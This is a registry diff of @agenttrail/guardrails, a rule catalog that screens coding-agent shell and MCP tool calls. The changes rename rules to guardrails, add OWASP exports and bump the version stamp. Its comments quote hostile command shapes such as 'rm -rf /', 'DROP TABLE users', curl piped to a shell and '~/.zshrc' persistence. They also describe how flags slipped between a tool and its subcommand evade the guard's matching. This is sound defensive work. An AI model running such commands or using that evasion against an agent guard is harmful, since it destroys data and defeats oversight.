@agenttrail/guardrails 0.2.2 → 0.2.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,11 +1,11 @@
1
- import { MatchCondition, Fixture, Rule } from './schema.js';
2
- export { Action, FixtureInput, Fixtures, Match, RuleInput, Severity } from './schema.js';
1
+ import { M as MatchCondition, F as Fixture, R as Rule } from './schema-B2pYoi9Z.js';
2
+ export { A as Action, a as FixtureInput, b as Fixtures, c as Match, O as OWASP_AGENTIC, d as OWASP_IDS, e as OWASP_LLM, f as OWASP_SOURCES, g as OwaspId, h as OwaspRisk, i as RuleInput, S as Severity, j as isOwaspId, o as owaspIndex, k as owaspTitle } from './schema-B2pYoi9Z.js';
3
3
  import 'zod';
4
4
 
5
5
  /**
6
6
  * The eleven packs, and the order they are presented in.
7
7
  *
8
- * These ids are authoritative and shared with the rules authored against them,
8
+ * These ids are authoritative and shared with the guardrails authored against them,
9
9
  * and with the guard's `config.json` `disabledPacks`. Renaming one of these is a
10
10
  * breaking change to a user's config file.
11
11
  *
@@ -13,17 +13,17 @@ import 'zod';
13
13
  * documented coding-agent failure, with public incident reports across Claude
14
14
  * Code, Gemini CLI and Codex.
15
15
  *
16
- * Per-pack rule counts are deliberately NOT encoded here: a rule count asserted in
17
- * code becomes a reason to write a weak rule to hit a number.
16
+ * Per-pack guardrail counts are deliberately NOT encoded here: a guardrail count asserted in
17
+ * code becomes a reason to write a weak guardrail to hit a number.
18
18
  */
19
19
  declare const PACKS: readonly ["working-tree", "destructive-data", "prod-infra", "secret-exposure", "rce-supply-chain", "safety-bypass", "privilege-supply-chain", "file-scope", "agent-context", "test-integrity", "exfiltration"];
20
- /** One of the eleven pack ids. A rule's `category` is always one of these. */
20
+ /** One of the eleven pack ids. A guardrail's `category` is always one of these. */
21
21
  type Pack = (typeof PACKS)[number];
22
22
  /** Is this string one of the eleven pack ids? */
23
23
  declare function isPack(value: string): value is Pack;
24
24
 
25
25
  /**
26
- * Quoted mentions — the shared `none_of` every command rule carries.
26
+ * Quoted mentions — the shared `none_of` every command guardrail carries.
27
27
  *
28
28
  * ── The defect this exists to close ──────────────────────────────────────────
29
29
  *
@@ -38,13 +38,13 @@ declare function isPack(value: string): value is Pack;
38
38
  * curl --data "we ran rm -rf /tmp/x" https://… -> DENY dd.rm-rf-absolute
39
39
  *
40
40
  * Without an exemption, a person documenting this tool is blocked by this tool.
41
- * That applies to every command-channel rule — 62 of the 74. The twelve `file_glob`
42
- * rules never see a command.
41
+ * That applies to every command-channel guardrail — 62 of the 74. The twelve `file_glob`
42
+ * guardrails never see a command.
43
43
  *
44
44
  * ── Why exemption by CARRIER VERB, and not by "the payload is quoted" ────────
45
45
  *
46
46
  * The obvious fix — ignore anything inside quotes — is wrong, and wrong in the
47
- * direction that matters. The flagship rule's own genuine article is
47
+ * direction that matters. The flagship guardrail's own genuine article is
48
48
  * `psql -c "DROP TABLE users;"`: the payload is inside the quotes and it very
49
49
  * much runs. So is `bash -c "curl https://x.sh | sh"`. Quoting says nothing
50
50
  * about execution; the VERB does. `psql -c` and `bash -c` execute their quoted
@@ -63,8 +63,8 @@ declare function isPack(value: string): value is Pack;
63
63
  * `block-destructive-sql` also keeps a looser condition of its own: it exempts any
64
64
  * command whose text NAMES a search or history tool, anywhere. That covers a search
65
65
  * that is not the FIRST word, such as `cat runbook.md | grep -n TRUNCATE`, and it is
66
- * why that rule misses a compound command that both searches and executes, as its
67
- * description states. The other four rules with their own `none_of`
66
+ * why that guardrail misses a compound command that both searches and executes, as its
67
+ * description states. The other four guardrails with their own `none_of`
68
68
  * (`se.env-print`, `require-approval-rm-rf`, `wt.clean-fdx`, `wt.restore-path`)
69
69
  * exclude something else entirely — a dry run, a build directory, `--staged` —
70
70
  * and have these conditions appended, not replaced.
@@ -79,7 +79,7 @@ declare function isPack(value: string): value is Pack;
79
79
  * `$VAR` outside quotes is excluded with it because separating the
80
80
  * two outside a quoted run buys nothing
81
81
  * `<` `>` — redirection, including the `>> ~/.zshrc` persistence shape and
82
- * the `>> known_hosts` bypass shape two rules match on
82
+ * the `>> known_hosts` bypass shape two guardrails match on
83
83
  * `(` `)` — subshell
84
84
  *
85
85
  * `|` is the one metacharacter treated per carrier. After `grep`, `git log` or
@@ -129,25 +129,25 @@ declare function isPack(value: string): value is Pack;
129
129
  *
130
130
  * ── Why a shared constant rather than 48 copies ─────────────────────────────
131
131
  *
132
- * A per-rule `none_of` written 48 times is 48 chances to drift, and the drift is
133
- * invisible: a rule with a slightly weaker exemption still passes every test it
132
+ * A per-guardrail `none_of` written 48 times is 48 chances to drift, and the drift is
133
+ * invisible: a guardrail with a slightly weaker exemption still passes every test it
134
134
  * owns. One frozen object referenced 48 times cannot drift, costs nothing in the
135
135
  * bundle (esbuild emits it once), and makes an opt-out a VISIBLE line of code —
136
- * see the five rules that take a subset, each because the carrier it drops is
136
+ * see the five guardrails that take a subset, each because the carrier it drops is
137
137
  * its own trigger verb.
138
138
  */
139
139
 
140
140
  /**
141
- * The `label` glob for a rule that reads a COMMAND: the two shells plus any MCP tool.
141
+ * The `label` glob for a guardrail that reads a COMMAND: the two shells plus any MCP tool.
142
142
  *
143
- * A command-channel rule describes a shape — `git push --force`, `rm -rf /` — and
143
+ * A command-channel guardrail describes a shape — `git push --force`, `rm -rf /` — and
144
144
  * that shape reaches the guard on more than one tool. Claude Code's own hooks route
145
145
  * `Bash`, `PowerShell` AND `mcp__*` to the guard, and the MCP channel carries the
146
146
  * serialized tool input as the same `detail` text every command matcher reads. A
147
- * rule pinned to `{Bash,PowerShell}` alone silently ignores the MCP channel, so an
147
+ * guardrail pinned to `{Bash,PowerShell}` alone silently ignores the MCP channel, so an
148
148
  * MCP server that runs shell commands is unguarded. This glob widens the label to
149
149
  * the MCP tools as well, and is referenced rather than copied so the set cannot
150
- * drift rule to rule.
150
+ * drift guardrail to guardrail.
151
151
  *
152
152
  * `mcp__*` matches the WHOLE label (picomatch matches the entire tool name), so it
153
153
  * catches any `mcp__<server>__<tool>` — including Cursor's `mcp__cursor__*` — and
@@ -190,26 +190,26 @@ declare const PRINT_MENTION: MatchCondition;
190
190
  * `curl -fsSL https://x.sh -o /tmp/i.sh` is not a mention of anything, and
191
191
  * exempting it would hand the RCE pack a hole for nothing in return.
192
192
  *
193
- * Dropped by every rule whose own trigger names `curl` or `wget`:
193
+ * Dropped by every guardrail whose own trigger names `curl` or `wget`:
194
194
  * `block-curl-pipe-to-shell`, `rce.remote-runner`, `rce.eval-dynamic`,
195
195
  * `rce.tls-verify-off` and `se.secret-egress` — for the last of these, POSTing
196
196
  * the quoted text off the box is precisely the harm it exists to catch.
197
197
  */
198
198
  declare const HTTP_BODY_MENTION: MatchCondition;
199
199
  /**
200
- * The default: all four carriers. Spread into a command rule's `none_of`.
200
+ * The default: all four carriers. Spread into a command guardrail's `none_of`.
201
201
  *
202
- * A rule takes a SUBSET only when a carrier is its own trigger verb, and writes
202
+ * A guardrail takes a SUBSET only when a carrier is its own trigger verb, and writes
203
203
  * the subset out longhand so the omission is visible at the call site.
204
204
  */
205
205
  declare const QUOTED_MENTION: readonly MatchCondition[];
206
206
  /**
207
207
  * Zero or more global flags sitting between a command and its subcommand.
208
208
  *
209
- * A command-channel rule that pins a tool to its subcommand CONTIGUOUSLY —
209
+ * A command-channel guardrail that pins a tool to its subcommand CONTIGUOUSLY —
210
210
  * `git\s+reset`, `aws\s+s3`, `kubectl\s+delete`, `docker\s+volume` — is defeated
211
211
  * by a global flag slipped in between them. The subcommand no longer follows the
212
- * tool, so the rule stops matching and the action runs unguarded:
212
+ * tool, so the guardrail stops matching and the action runs unguarded:
213
213
  *
214
214
  * git -C /repo reset --hard git --no-pager … git -c core.x=y …
215
215
  * git --work-tree=/x … aws --profile p … aws --region r …
@@ -217,7 +217,7 @@ declare const QUOTED_MENTION: readonly MatchCondition[];
217
217
  * terraform -chdir=/x apply … helm -n ns … npm --silent …
218
218
  *
219
219
  * This constant is the ONE shared fix for that whole class, referenced rather
220
- * than copied so a rule cannot drift to a weaker spelling. It is spliced in RIGHT
220
+ * than copied so a guardrail cannot drift to a weaker spelling. It is spliced in RIGHT
221
221
  * AFTER the tool name and BEFORE the `\s+` that precedes the subcommand:
222
222
  * `\\bgit${LEADING_FLAGS}\\s+reset\\s+--hard\\b`. Empty (zero flags) it collapses
223
223
  * back to the original `tool\s+subcommand`, so the plain form still matches.
@@ -253,16 +253,16 @@ declare const LEADING_FLAGS = "(?:\\s+-{1,2}[A-Za-z][\\w-]{0,24}(?:=\\S{1,40})?(
253
253
  *
254
254
  * `FixtureSchema` accepts a bare string as shorthand for
255
255
  * `{ tool: "Bash", command: … }`, but that shorthand is a **zod transform**: it
256
- * only becomes the object form when a rule is PARSED. Rule files export plain
256
+ * only becomes the object form when a guardrail is PARSED. Guardrail files export plain
257
257
  * typed literals so that nothing on the guard's hot path reaches the validator
258
258
  * (see `rules.ts`), so there is no parse at load and therefore no transform —
259
- * a bare string in a rule file would be a bare string at runtime, and the
259
+ * a bare string in a guardrail file would be a bare string at runtime, and the
260
260
  * harness reads `"command" in fixture`.
261
261
  *
262
262
  * Writing every fixture out longhand would work and would be unreadable, so
263
263
  * these exist instead. They also make the CHANNEL visible at every single
264
264
  * fixture, and the channel is the thing
265
- * that silently makes a fixture vacuous — a `file_glob` rule handed a command
265
+ * that silently makes a fixture vacuous — a `file_glob` guardrail handed a command
266
266
  * fixture matches nothing, and an `allow` fixture that matches nothing passes.
267
267
  */
268
268
 
@@ -271,8 +271,8 @@ declare function bash(command: string): Fixture;
271
271
  /**
272
272
  * A fixture on the command channel, from the `PowerShell` tool.
273
273
  *
274
- * Worth spelling out at least once per shell rule: on Windows without Git Bash,
275
- * Claude Code does not register `Bash` at all, so a rule proven only against
274
+ * Worth spelling out at least once per shell guardrail: on Windows without Git Bash,
275
+ * Claude Code does not register `Bash` at all, so a guardrail proven only against
276
276
  * `Bash` is proven on one platform.
277
277
  */
278
278
  declare function pwsh(command: string): Fixture;
@@ -281,7 +281,7 @@ declare function pwsh(command: string): Fixture;
281
281
  *
282
282
  * `tool` defaults to `Edit`. The guard's mapper routes `Edit`, `Write`, `Read`,
283
283
  * `MultiEdit`, `NotebookEdit`, `Grep` and `Glob` to this channel, and WHICH ONE a
284
- * fixture names is load-bearing: a file rule that names an operation in its id or
284
+ * fixture names is load-bearing: a file guardrail that names an operation in its id or
285
285
  * title excludes the read tools in its `none_of` (`{Read,Grep}`), so the same path
286
286
  * matches under `Edit` and does not match under `Read`. Naming the tool is
287
287
  * therefore part of the case a fixture proves, not documentation of it — an
@@ -297,7 +297,7 @@ declare function file(filePath: string, tool?: string): Fixture;
297
297
  * name; the widened `{Bash,PowerShell,mcp__*}` label matches any `mcp__*`.
298
298
  *
299
299
  * The point is to prove a command SHAPE carried by an MCP server still fires the
300
- * rule (`{ command: "rm -rf /" }`), and that a serialized MENTION is NOT exempted:
300
+ * guardrail (`{ command: "rm -rf /" }`), and that a serialized MENTION is NOT exempted:
301
301
  * the `none_of` carriers are anchored to the shell, and JSON does not start with a
302
302
  * carrier verb.
303
303
  */
@@ -316,9 +316,9 @@ declare function mentionInEcho(text: string): Fixture;
316
316
  declare function mentionInPost(text: string): Fixture;
317
317
  /**
318
318
  * All four near misses for one payload: a commit message, a search, an echo and
319
- * an HTTP body. Spread into a rule's `allow` fixtures.
319
+ * an HTTP body. Spread into a guardrail's `allow` fixtures.
320
320
  *
321
- * A rule whose own trigger verb IS one of the carriers writes the other three
321
+ * A guardrail whose own trigger verb IS one of the carriers writes the other three
322
322
  * out longhand instead — see `exemptions.ts` for the five that do.
323
323
  */
324
324
  declare function mentions(text: string): Fixture[];
@@ -327,37 +327,32 @@ declare function mentions(text: string): Fixture[];
327
327
  * The catalog's own version and publication date.
328
328
  *
329
329
  * These are the two facts the offline guard needs in order to tell someone how old
330
- * their protection is. The guard has no update check and no network path for rules,
331
- * so a user's rules are frozen on the day they installed and nothing else can tell
330
+ * their protection is. The guard has no update check and no network path for guardrails,
331
+ * so a user's guardrails are frozen on the day they installed and nothing else can tell
332
332
  * them that.
333
333
  *
334
334
  * ── Why the stamp lives HERE and not in `@agenttrail/guard` ──────────────────
335
335
  * The guard BUNDLES this package at build time, so it is *this* package's version
336
- * that determines which rules a user is actually running. The guard's own version
336
+ * that determines which guardrails a user is actually running. The guard's own version
337
337
  * answers a different question and would be the wrong number: `guard@0.4.1` may ship
338
- * an unchanged catalog, and two different guard versions may carry the same rules.
338
+ * an unchanged catalog, and two different guard versions may carry the same guardrails.
339
339
  *
340
340
  * ── This module imports nothing, and that is load-bearing ───────────────────
341
341
  * It is exported from `rules.ts`, the zod-free entry the guard bundles into the
342
342
  * file Claude Code runs before every tool call. Two string constants add nothing to
343
343
  * that bundle; an import of `schema.ts` here would add zod to it. Add no imports here.
344
344
  *
345
- * ── Both constants are hand-written, and that is deliberate ──────────────────
345
+ * ── Both constants live in source, and that is deliberate ────────────────────
346
346
  * A build-time `define` would reach `dist/` only, so the value would exist in the
347
347
  * published tarball and be absent from the source every test imports — the shipped
348
348
  * value would be the one value never exercised. `__tests__/stamp.test.ts` pins
349
349
  * `CATALOG_VERSION` to `package.json` so the two cannot drift in silence.
350
350
  *
351
- * ── AT RELEASE, BUMP BOTH CONSTANTS BELOW, TOGETHER ──────────────────────────
352
- * Bumping `package.json`'s version alone turns `stamp.test.ts` red, and that is the
353
- * point: it is what brings whoever cut the release into this file, where the date is
354
- * a few lines away. Publish order is `guardrails` first, then `guard`;
355
- * a guard release carries whatever stamp was here when it was built.
356
- *
357
- * Forgetting to advance the date understates how fresh the rules are, which tells a
358
- * user to update when they need not. Forgetting in the other direction would tell a
359
- * user they are current when they are stale. The first is the safe failure and the
360
- * one this arrangement produces.
351
+ * ── The release writes both constants below ─────────────────────────────────
352
+ * `scripts/sr-stamp.mjs` sets `CATALOG_VERSION` to the release version and
353
+ * `CATALOG_PUBLISHED_AT` to the release time, in the same step that bumps
354
+ * `package.json`. Do not edit them by hand. Publish order is `guardrails` first,
355
+ * then `guard`; a guard release carries whatever stamp was here when it was built.
361
356
  */
362
357
  /**
363
358
  * The corpus version.
@@ -365,20 +360,20 @@ declare function mentions(text: string): Fixture[];
365
360
  * Pinned to `package.json`'s `version` by `__tests__/stamp.test.ts` — this is a copy
366
361
  * of that value, not an independent one, and the test is what makes the copy safe.
367
362
  */
368
- declare const CATALOG_VERSION = "0.2.2";
363
+ declare const CATALOG_VERSION = "0.2.4";
369
364
  /**
370
- * When the rules in this catalog reached their current state, as an ISO-8601
365
+ * When the guardrails in this catalog reached their current state, as an ISO-8601
371
366
  * instant. The question it answers is not "when did this reach a registry" but "how
372
- * old are the rules I am running".
367
+ * old are the guardrails I am running".
373
368
  *
374
369
  * If a release cannot source a real date, leave it absent rather than approximate:
375
370
  * the guard handles a missing date, and a wrong date that looks right is worse than
376
371
  * a missing one.
377
372
  */
378
- declare const CATALOG_PUBLISHED_AT = "2026-10-06T13:41:00Z";
373
+ declare const CATALOG_PUBLISHED_AT = "2026-10-16T16:15:37Z";
379
374
 
380
375
  /**
381
- * The corpus itself — rules only, and **deliberately free of zod**.
376
+ * The corpus itself — guardrails only, and **deliberately free of zod**.
382
377
  *
383
378
  * ── Why this is a separate entry point from `index.ts` ───────────────────────
384
379
  *
@@ -388,30 +383,30 @@ declare const CATALOG_PUBLISHED_AT = "2026-10-06T13:41:00Z";
388
383
  *
389
384
  * The package ROOT cannot satisfy that: `index.ts` re-exports `./schema.js`, which
390
385
  * value-imports zod. So the guard imports `@agenttrail/guardrails/guardrails` — this
391
- * file — whose whole import graph is `./packs.js`, `./exemptions.js` and
392
- * `./fixtures.js` (all three plain data) plus a TYPE-only
386
+ * file — whose whole import graph is `./packs.js`, `./exemptions.js`, `./fixtures.js`
387
+ * and `./owasp.js` (all four plain data) plus a TYPE-only
393
388
  * reference to `./schema.js`, which esbuild erases. Everyone else keeps using the
394
389
  * root and gets the schema with it.
395
390
  *
396
- * A cold import of the package root, validating every rule through `defineRule`,
391
+ * A cold import of the package root, validating every guardrail through `defineRule`,
397
392
  * takes about twice as long as an empty Node process. The subpath avoids that on
398
393
  * every tool call.
399
394
  *
400
395
  * ── Where validation runs ───────────────────────────────────────────────────
401
396
  *
402
- * At test time: `__tests__/corpus.test.ts` runs `parseRule()` over every rule and
397
+ * At test time: `__tests__/corpus.test.ts` runs `parseRule()` over every guardrail and
403
398
  * fails on any invalid one, and proves that sweep bites with a deliberately
404
- * malformed rule. `defineRule` is exported for contributors authoring locally.
399
+ * malformed guardrail. `defineRule` is exported for contributors authoring locally.
405
400
  *
406
- * So every rule file exports a plain object literal typed `satisfies Rule` with a
401
+ * So every guardrail file exports a plain object literal typed `satisfies Rule` with a
407
402
  * TYPE-only schema import. `corpus.test.ts` is what stops one from drifting.
408
403
  */
409
404
 
410
405
  /**
411
- * Every pack's rules, keyed by pack id.
406
+ * Every pack's guardrails, keyed by pack id.
412
407
  *
413
408
  * `Record<Pack, …>` is doing real work: adding a pack to `PACKS` without wiring
414
- * its rules here is a compile error, not a pack that silently ships empty.
409
+ * its guardrails here is a compile error, not a pack that silently ships empty.
415
410
  */
416
411
  declare const RULES_BY_PACK: Record<Pack, readonly Rule[]>;
417
412
  /**
@@ -421,9 +416,9 @@ declare const RULES_BY_PACK: Record<Pack, readonly Rule[]>;
421
416
  * the declared one and a pack cannot be omitted by a missed line.
422
417
  */
423
418
  declare const RULES: readonly Rule[];
424
- /** Look up one rule by id. `undefined` when nothing matches. */
419
+ /** Look up one guardrail by id. `undefined` when nothing matches. */
425
420
  declare function getRule(id: string): Rule | undefined;
426
- /** Every rule in one pack, in authored order. */
421
+ /** Every guardrail in one pack, in authored order. */
427
422
  declare function rulesForPack(pack: Pack): readonly Rule[];
428
423
 
429
424
  export { CATALOG_PUBLISHED_AT, CATALOG_VERSION, Fixture, GIT_TEXT_MENTION, HTTP_BODY_MENTION, LEADING_FLAGS, MatchCondition, PACKS, PRINT_MENTION, type Pack, QUOTED_MENTION, RULES, RULES_BY_PACK, Rule, SEARCH_MENTION, SHELL_AND_MCP, bash, file, getRule, isPack, mcp, mentionInCommit, mentionInEcho, mentionInPost, mentionInSearch, mentions, pwsh, rulesForPack };
@@ -23,13 +23,26 @@ import {
23
23
  mentions,
24
24
  pwsh,
25
25
  rulesForPack
26
- } from "./chunk-GNN4TGRY.js";
26
+ } from "./chunk-6YROGDEH.js";
27
+ import {
28
+ OWASP_AGENTIC,
29
+ OWASP_IDS,
30
+ OWASP_LLM,
31
+ OWASP_SOURCES,
32
+ isOwaspId,
33
+ owaspIndex,
34
+ owaspTitle
35
+ } from "./chunk-T6MJIV52.js";
27
36
  export {
28
37
  CATALOG_PUBLISHED_AT,
29
38
  CATALOG_VERSION,
30
39
  GIT_TEXT_MENTION,
31
40
  HTTP_BODY_MENTION,
32
41
  LEADING_FLAGS,
42
+ OWASP_AGENTIC,
43
+ OWASP_IDS,
44
+ OWASP_LLM,
45
+ OWASP_SOURCES,
33
46
  PACKS,
34
47
  PRINT_MENTION,
35
48
  QUOTED_MENTION,
@@ -40,6 +53,7 @@ export {
40
53
  bash,
41
54
  file,
42
55
  getRule,
56
+ isOwaspId,
43
57
  isPack,
44
58
  mcp,
45
59
  mentionInCommit,
@@ -47,6 +61,8 @@ export {
47
61
  mentionInPost,
48
62
  mentionInSearch,
49
63
  mentions,
64
+ owaspIndex,
65
+ owaspTitle,
50
66
  pwsh,
51
67
  rulesForPack
52
68
  };